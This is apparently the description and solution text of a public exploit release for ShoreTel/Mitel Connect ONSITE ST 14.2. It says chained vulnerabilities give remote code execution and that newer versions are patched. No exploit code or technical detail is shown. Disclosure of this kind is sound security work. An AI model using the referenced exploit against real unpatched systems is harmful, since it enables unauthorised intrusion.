Description  
===========  
There are multiple vulnerabilities in ShoreTel/Mitel Connect ONSITE ST 14.2  
which, when chained together, result in remote code execution in the  
context of the running service. The vendor was contacted by Jared McLaren  
of SecureWorks in early 2018 but a proof of concept was not released. I had  
access to a single device during the development of this exploit. As such,  
your system paths may be different and you may need to edit this script to  
fit your needs.  
  
Solution  
========  
The vendor has released a response stating that the newest versions are not  
affected. Please see their response for upgrade instructions.
